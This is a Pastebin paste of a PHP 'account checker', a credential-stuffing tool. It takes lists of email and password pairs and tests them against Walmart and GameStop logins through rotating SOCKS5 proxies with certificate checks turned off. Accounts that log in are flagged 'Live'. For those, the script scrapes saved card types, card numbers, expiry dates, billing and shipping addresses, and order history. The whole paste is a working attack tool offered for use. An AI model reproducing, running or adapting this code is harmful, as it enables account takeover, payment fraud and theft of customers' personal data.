Advertisement
cyberking

Account Checker Walmart

Jan 10th, 2016
8,604
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 18.53 KB | None | 0 0
  1. <?
  2.     ini_set("display_errors",0);
  3.     @set_time_limit(0);
  4. if(isset($_GET['check']))
  5. {    
  6. function getStr($string,$start,$end){
  7.     $str = explode($start,$string,2);
  8.     $str = explode($end,$str[1],2);
  9.     return $str[0];
  10. }
  11.  
  12. function getStr1($string,$start,$end){
  13.     $str = explode($start,$string,2);
  14.     $str = explode($end,$str[1],2);
  15.     return $str;
  16. }
  17.  
  18.  
  19. function _curl2($url,$post="",$usecookie = false) {  
  20.     $ch = curl_init();
  21.     if($post) {
  22.         curl_setopt($ch, CURLOPT_POST ,1);
  23.         curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  24.     }
  25.     curl_setopt($ch, CURLOPT_URL, $url);  
  26.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  27.     curl_setopt($ch, CURLOPT_USERAGENT, "Internet Explorer 6.0 (Windows XP)");  
  28.     if ($usecookie) {  
  29.         curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);  
  30.         curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);    
  31.     }
  32.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  33.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  34.     curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);  
  35.     $result=curl_exec ($ch);  
  36.     curl_close ($ch);  
  37.     return $result;  
  38. }
  39. function _curl($url,$post="",$usecookie = false,$_sock = false,$timeout = false) {  
  40.      
  41.     $ch = curl_init();
  42.     if($post) {
  43.         curl_setopt($ch, CURLOPT_POST ,1);
  44.         curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  45.     }
  46.     if($timeout){
  47.         curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,$timeout);
  48.     }
  49.     if($_sock){
  50.             curl_setopt($ch, CURLOPT_PROXY, $_sock);
  51.             curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  52.     }
  53.     curl_setopt($ch, CURLOPT_URL, $url);  
  54.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  55.     curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");  
  56.     if ($usecookie) {  
  57.         curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);  
  58.         curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);    
  59.     }
  60.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  61.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  62.     curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);  
  63.     $result=curl_exec ($ch);  
  64.     curl_close ($ch);  
  65.     return $result;  
  66. }
  67. function rmDomain($mail){
  68.     $abc = explode("@",$mail);
  69.     $mail = trim($abc[0]);
  70.     return $mail;
  71. }
  72.  
  73. function R($s,$e){
  74.     preg_match("/".$e."/",$s,$m);
  75.     return $m[1];
  76. }
  77. function Re($s,$e){
  78.     return html_entity_decode(R($s,$e));
  79. }
  80.  
  81. function inStr($s,$as){
  82.     $s=strtoupper($s);
  83.     if(!is_array($as)) $as=array($as);
  84.     for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
  85.     return false;
  86. }
  87. function CheckSock($sock,$cookie,$timeout){
  88.     $timeout = 4;
  89.     $url = "http://google.com";
  90.     $s = _curl($url,"",$cookie,$sock,$timeout);
  91.     if(stristr($s,'<!doctype html><html')){
  92.         return "1";
  93.     }
  94.     else
  95.     {
  96.         return "2";
  97.     }
  98. }
  99.  
  100. function GameStop($mail,$pass){
  101.     $_sock = $_GET['sock'];
  102.     $cookie = tempnam('cookie','ccv'.rand(1000000,9999999).'likeguitar.txt');  
  103.     $_checksocks = CheckSock($_sock, $cookie, $timeout);
  104.     echo " ".$_sock." => |";
  105. //    if($_checksocks=="1")
  106.     {
  107.         $url = "https://www.gamestop.com/Profiles/Login.aspx?ReturnUrl=/";
  108.         $s = _curl($url,"",$cookie,$_sock);
  109.         $VIEWSTATE = urlencode(getStr($s,'id="__VIEWSTATE" value="','" />'));
  110.         $url = "https://www.gamestop.com/Profiles/Login.aspx?ReturnUrl=/";
  111.         $post = "__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=$VIEWSTATE&ctl00%24ctl00%24BaseContentPlaceHolder%24cHeader%24searchtext=&ctl00%24ctl00%24BaseContentPlaceHolder%24cLeftNav%24LeftNavHomeStore%24txtStoreZipCode=Enter+location&ctl00%24ctl00%24BaseContentPlaceHolder%24cLeftNav%24LeftNavHomeStore%24valZipCalloutExtender_ClientState=&ctl00%24ctl00%24BaseContentPlaceHolder%24cLeftNav%24LeftNavNewsletter%24txtNewsletterSignup=Email&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24LogIn%24loginControl%24UserName=$mail&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24LogIn%24loginControl%24password=$pass&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24LogIn%24loginControl%24loginButton.x=43&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24LogIn%24loginControl%24loginButton.y=16&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24emailTextBox=&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24ComfirmEmailTextBox=&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24PasswordText=&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24ConfirmPasswordText=&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24chkEmailOptIn=on&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24SlideToCreate=";
  112.         $s = _curl($url,$post,$cookie,$_sock);
  113.         if(inStr($s,array('<ul><li>The e-mail address and password combination entered is not in our records'))){
  114.             $resuft['status'] = "<b><font color='white'>Die</b></font>";
  115.         }
  116.         elseif(!$s){
  117.             $resuft['status'] = "Cant Check";
  118.         }
  119.         else{
  120.             $resuft['status'] = "<b><font color='red'>Live</b></font>";
  121.             $url = 'https://www.gamestop.com/Profiles/CreditCard.aspx';
  122.             $s = _curl($url,'',$cookie,$_sock);
  123.             if(inStr($s,array('CardType">Card Type:</span>')))
  124.             {
  125.                 $resuft['count'] = substr_count($s, 'creditCardSummary_CreditCardViewer_CardNumber">');
  126.                 $resuft['type'] = getStr($s,'_CreditCardViewer_CardType">','</span>');
  127.                 $resuft['ccnum'] = getStr($s, 'ditCardViewer_CardNumber">','</span>');
  128.                 $resuft['exp'] = getStr($s,'tCardViewer_CardExpDate">','</span>');
  129.                 $resuft['info'] = " $resuft[count] | $resuft[type] | $resuft[ccnum] | $resuft[exp]";
  130.                 $url = 'https://www.gamestop.com/Profiles/AddressBook.aspx';
  131.                 $s = _curl($url,'',$cookie,$_sock);
  132.                  
  133.                 $add = getStr($s,'billingAddressSummary_AddressInfoView_FullName">','id="ctl00_ctl00_BaseContentPlaceHolder_mainContentPlaceHolder_BillingAddressList_ctl00_billingAddressSummary_AddressInfoView_trCountryName">');
  134.                 //echo "<textarea>$s</textarea>$add";
  135.                 $resuft['info'] .= " | ".$add;
  136.             }
  137.             else
  138.             {
  139.                 $resuft['status'] = 'No Info';  
  140.             }
  141.         }
  142.     }
  143. //    else
  144. //    {
  145. //        $resuft['status'] = "Socks Die";
  146. //    }
  147.     unlink($cookie);
  148.     $resuft['status'] = $resuft['status']."|".$resuft['info']."<br>";
  149.     return $resuft;
  150. }
  151.  
  152.  
  153. function walmart($mail,$pass){
  154.     $_sock = $_GET['sock'];
  155.     $cookie = tempnam('cookie','ccv'.rand(1000000,9999999).'likeguitar.txt');  
  156.     $_checksocks = CheckSock($_sock, $cookie, $timeout);
  157.     echo " ".$_sock." => |";
  158.     //if($_checksocks=="1")
  159.     {
  160.         $url = "https://www.walmart.com/cservice/ya_index.gsp";
  161.         $s = _curl($url,"",$cookie,$_sock);
  162.         $link = getStr($s,'createAccountForm" method="POST" action="','"');
  163.         $url = "https://www.walmart.com$link";
  164.         $post = "userName=$mail&pwd=$pass&x=65&y=15";
  165.         $s = _curl($url,$post,$cookie,$_sock);
  166.          
  167.         if(inStr($s, array('The e-mail address and password you entered does not match what we have in our records','Please check your email and try again'))){
  168.             $resuft['status'] = "<b><font color='white'>Die</b></font>";
  169.         }
  170.         elseif(!$s){
  171.             $resuft['status'] = "Cant Check";
  172.         }
  173.         else{
  174.             $resuft['status'] = "<b><font color='red'>Live</b></font>";
  175.             $url = "https://www.walmart.com/cservice/cc_index.gsp";
  176.             $s = _curl($url,"",$cookie,$_sock);
  177.             if(inStr($s,array('<tr style="padding:10px 0">')))
  178.             {
  179.                 $bill = getStr($s,'<td class="BodyM" style="white-space:nowrap"><div style="margin-left:10px">','</div></td>');
  180.                 //$balance = getStr($s,'<td class="rvh_line"><div class="col2">','</div>');
  181.                 $resuft['info'] = "<font color=yellow> $bill </font>|";
  182.             }
  183.             $url = "https://www.walmart.com/cservice/ph_order.do";
  184.             $s = _curl($url,"",$cookie,$_sock);
  185.             if(inStr($s,array('<tr class="yaTableRow">')))
  186.             {
  187.                 $order = getStr($s,'<td class="yaTableCellRightLine"><span class="BodyM">','</span></td>');
  188.                 $resuft['info'] .= " Order Date: ".$order;
  189.             }
  190.             $url = "https://www.walmart.com/cservice/cc_index.gsp";
  191.             $s = _curl($url,"",$cookie,$_sock);
  192.             if(inStr($s,array('<tr style="background-color:#FFF">')))
  193.             {
  194.                 $card = getStr($s,'<tr valign="middle" style="background-color:#FFF">','</td>
  195. <td class="yaTdBottomLine"><a');
  196.                 $resuft['info'] .= " | ".$card;
  197.             }
  198.             $url = "https://www.walmart.com/cservice/ab_index.do";
  199.             $s = _curl($url,"",$cookie,$_sock);
  200.             if(inStr($s,array('<div class="PrefHead">Preferred shipping address:</div>')))
  201.             {
  202.                 $add = getStr($s,'<address>','</address>');
  203.                 $resuft['info'] .= " | ".$add;
  204.             }
  205.             else
  206.             {
  207.                 $resuft['status'] = "No Payment";
  208.             }
  209.             //echo "<textarea>$s</textarea>$s";
  210.         }
  211.     }
  212. //    else
  213. //    {
  214. //        $resuft['status'] = "Socks Die";
  215. //    }
  216.     unlink($cookie);
  217.     $resuft['status'] = $resuft['status']."|".$resuft['info'];
  218.     return $resuft;
  219. }
  220. function getHiddenFormInputs($html, $Name){
  221.     if(!preg_match('|<form[^>]+'.$Name.'[^>]+>.*</form>|Usi', $html, $form)){
  222.         return '';
  223.     }
  224.     if(!preg_match_all('/<input[^>]+hidden[^>]*>/i', $form[0], $inputs)){
  225.         return '';
  226.     }
  227.     $hiddenInputs = array();
  228.     foreach($inputs[0] as $input){
  229.         if (preg_match('|name\s*=\s*[\'"]([^\'"]+)[\'"]|i', $input, $name)){
  230.             $hiddenInputs[$name[1]] = '';
  231.             if (preg_match('|value\s*=\s*[\'"]([^\'"]*)[\'"]|i', $input, $value)){
  232.                 $hiddenInputs[$name[1]] = $value[1];
  233.             }
  234.         }
  235.     }
  236.     return $hiddenInputs;
  237. }
  238. function serializePostFields($postFields){
  239.     foreach($postFields as $key => $value){
  240.         $value = urlencode($value);
  241.         $postFields[$key] = "$key=$value";
  242.     }
  243.     $postFields = implode($postFields, '&');
  244.     return $postFields;
  245. }
  246.         $mail = $_GET['email'];
  247.         $pass = $_GET['password'];
  248.         switch ($_GET['check'])
  249.         {
  250.             case "GameStop":
  251.                 $info1 = GameStop($mail,$pass);
  252.             break;
  253.             case "walmart":
  254.                 $info1 = walmart($mail,$pass);
  255.             break;
  256.         }
  257.         echo $mail."|".$pass."|".$info1['status'];
  258.     }
  259.     else
  260.     {
  261. ?><head>
  262. <script>
  263.     function explodearray(item,delimiter) {
  264.         temparray=new array(1);
  265.         var Count=0;
  266.         var tempstring=new string(item);
  267.  
  268.         while (tempstring.indexOf(delimiter)>0) {
  269.         temparray[Count]=tempstring.substr(0,tempstring.indexOf(delimiter));
  270.         tempstring=tempstring.substr(tempstring.indexOf(delimiter)+1,tempstring.length-tempstring.indexOf(delimiter)+1);
  271.         Count=Count+1
  272.         }
  273.  
  274.         temparray[Count]=tempstring;
  275.         return temparray;
  276.     }  
  277.     function loadXMLDoc(url,div)
  278.     {
  279.         var xmlhttp;
  280.         if (window.XMLHttpRequest)
  281.           {
  282.           xmlhttp=new XMLHttpRequest();
  283.           }
  284.         else
  285.           {
  286.           xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  287.           }
  288.         xmlhttp.onreadystatechange=function()
  289.           {
  290.           if (xmlhttp.readyState==4 && xmlhttp.status==200)
  291.             {
  292.             var xdata = xmlhttp.responseText;
  293.             document.getElementById(div).innerHTML = xdata.split('|')[3];
  294.             if((xdata.split('|')[3]) == "<b><font color='red'>Live</b></font>"){
  295.                 document.getElementById("result_live").innerHTML = document.getElementById("result_live").innerHTML + xdata + "\n<br>" ;
  296.                 document.getElementById("total").innerHTML = (eval(document.getElementById("total").innerHTML) + 1);
  297.             }
  298.             }
  299.           }
  300.         xmlhttp.open("GET",url,true);
  301.         xmlhttp.send();
  302.     }
  303.     </script>
  304. </head>
  305.  
  306. <style>
  307.     @import "http://fonts.googleapis.com/css?family=Play:400,700";
  308.             body {
  309.                 background:    #303030;
  310.                 line-height: 1;
  311.                 color: #00ff00;
  312.             }
  313.             textarea,input,select
  314.             {
  315.                 padding: 3px;
  316.                 background:#505050;
  317.                 color:white;
  318.                 border:solid gray;
  319.             }
  320.             table{
  321.                 border-collapse:collapse;
  322.                 color: white;
  323.             }
  324.             .title{
  325.                 color: #00ff00;
  326.                 background:    black;
  327.                 text-align:    center;
  328.                 font-size:    120%;
  329.             }
  330.             .die{
  331.                 color:    #ff0000;
  332.             }
  333.             .live{
  334.                 color:    #00ff00;
  335.             }
  336.             .socks{
  337.                 color:    orange;
  338.             }
  339.             .title2{
  340.                 color: #FFF;
  341.                 font-size: 22px;
  342.                 font-weight: 700;
  343.                 line-height: 56px;
  344.                 margin: 0;
  345.                 padding: 0 0 0 15px;
  346.                 text-shadow: 1px 1px 1px #FFFFFF;
  347.                 font-family: Play,"Arial",Helvetica,Times,serif;
  348.                 }
  349.         </style>
  350. <head>
  351. <center><h1><div class="title2">--[ ACCOUNT CHECKER]--</div></h1>
  352. <br /><br />
  353. <script>
  354. function timsock(){
  355.     var slist = window.document.f.socks.value;
  356.     var kero = slist.match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}((:)|(\s)+)\d{1,8}/g );
  357.     if(kero){
  358.         var list="";
  359.         for(var i=0;i<kero.length;i++){
  360.             if(kero[i].match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}(\s)+\d{1,8}/g )){
  361.                 kero[i]=kero[i].replace(/(\s)+/,':');
  362.             }
  363.             list=list+kero[i]+"\n";
  364.         }
  365.         window.document.f.socks.value=list;
  366.     }
  367.     else{
  368.         window.document.f.socks.value="";
  369.     }
  370. }
  371. </script>
  372. <form method=post action="" name=f>
  373.     <textarea name=info style="width:550px; height:200px;"><? if(isset($_POST['info'])) echo $_POST['info']; else echo "mail | pass" ?></textarea> <textarea name="socks" id="socks" style="width:350px; height:200px;"/><? if(isset($_POST['socks'])) echo $_POST['socks']; else echo "" ?></textarea><br>
  374.     Delim : <input type=text name=delim value="|" size=5>  
  375.     Mail : <input type=text name=mail value="0" size=5> Pass : <input type=text name="pass" value="1" size=5><br>
  376.     <input type="radio" id="cat" name="cat" value="walmart"> Walmart <br><br>  
  377.     <input type=submit name=submit value="   CHECK NOW   " onClick="timsock();">
  378. </form>
  379. </center>
  380.  
  381. <?
  382. if(isset($_POST['info'])){
  383.     $delim = trim($_POST['delim']);
  384.     $m = trim($_POST['mail']);
  385.     $p = trim($_POST['pass']);
  386.     $_sock = $_POST['socks'];
  387.     $sock_arr =  explode("\n",$_sock);
  388.     global $acclist;
  389.      
  390.     $mlist = $_POST['info'];
  391.     $mlist = str_replace(array("\\\"","\\'"),array("\"","'"),$mlist);  
  392.     $mlist = str_replace("\r","",$mlist);  
  393.     $mlist = str_replace("\n\n","\n",$mlist);  
  394.     $mlist = explode("\n",$mlist);
  395.  
  396.      
  397.     $STT = 0;
  398.     $TOTAL = count($mlist);
  399.     $plan = $_POST['cat'];
  400.     ?>
  401.      
  402.     <center>
  403.      
  404.     CHECK ACCOUNT IN SITE: <font color="#FF0000"><? echo $plan; ?></font><br>------------------------- o0o -------------------------<br  />
  405.     <div id="result_live"><div id="total">0</div><br /></div><br />
  406.     <table border="1">
  407.         <tr>
  408.             <td align="center" width="20px">Stt</td>
  409.             <td align="center" width="400px">Account</td>
  410.             <td align="center" width="200px">Status</td>
  411.         </tr>
  412.         <?  
  413.             for($i=0 ; $i<$TOTAL; $i++){  
  414.                 ob_start();
  415.                 ?>
  416.                     <tr>
  417.                         <td align="center"><?= $id=$i+1 ?></td>
  418.                         <td>{mail} | {pass} | {socks}</td>
  419.                         <td align="center">{status}</td>
  420.                     </tr>
  421.                 <?
  422.                 $line = explode($delim,$mlist[$i]);
  423.                 $mail = trim($line[$m]);
  424.  
  425.                 $pass = trim($line[$p]);
  426.                 $sock_use = trim($sock_arr[ rand(0,(count($sock_arr) - 2)) ]);
  427.                 $s = ob_get_clean();
  428.                 $s = str_replace("{status}", "<i id='result_$id' style='color:green'>Checking...</i><script>loadXMLDoc('?check=$plan&email=$mail&password=$pass&sock=$sock_use','result_$id');</script>", $s);
  429.                 $s = str_replace("{mail}", $mail, $s);
  430.                 $s = str_replace("{pass}", $pass, $s);    
  431.                 $s = str_replace("{socks}", $sock_use, $s);                
  432.                 echo $s;
  433.             }
  434.         ?>
  435.         </table>
  436.     </center>
  437.     <?
  438.     if($acclist){
  439.         foreach($acclist as $key => $value){
  440.             for($i=0;$i<count($acclist[$key]);$i++){
  441.                 $accountlist .= str_replace(array("\r","\n"),array("",""),"acclist[\"{$key}\"][$i] = '".$acclist[$key][$i]."';")."\n";
  442.             }
  443.         }
  444.     }
  445.  
  446. $dim = <<< HTML
  447. <script type='text/javascript'>
  448.     var acclist = new Array();
  449.     acclist['walmart'] = new Array();
  450.     acclist['dell'] = new Array();
  451.     acclist['apple'] = new Array();
  452.     acclist['sony'] = new Array();
  453.     acclist['saks'] = new Array();
  454.     acclist['costco'] = new Array();
  455.     acclist['bhphoto'] = new Array();
  456.     acclist['nord'] = new Array();
  457.     acclist['dream'] = new Array();
  458. </script>
  459. HTML;
  460. echo $dim;
  461. }
  462. ?> <br />
  463. <br />
  464.  
  465.  
  466. </body>
  467.  
  468. </html>
  469. <center>
  470. </center>
  471. </div>    
  472. </div>
  473. <?
  474.     }
  475. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement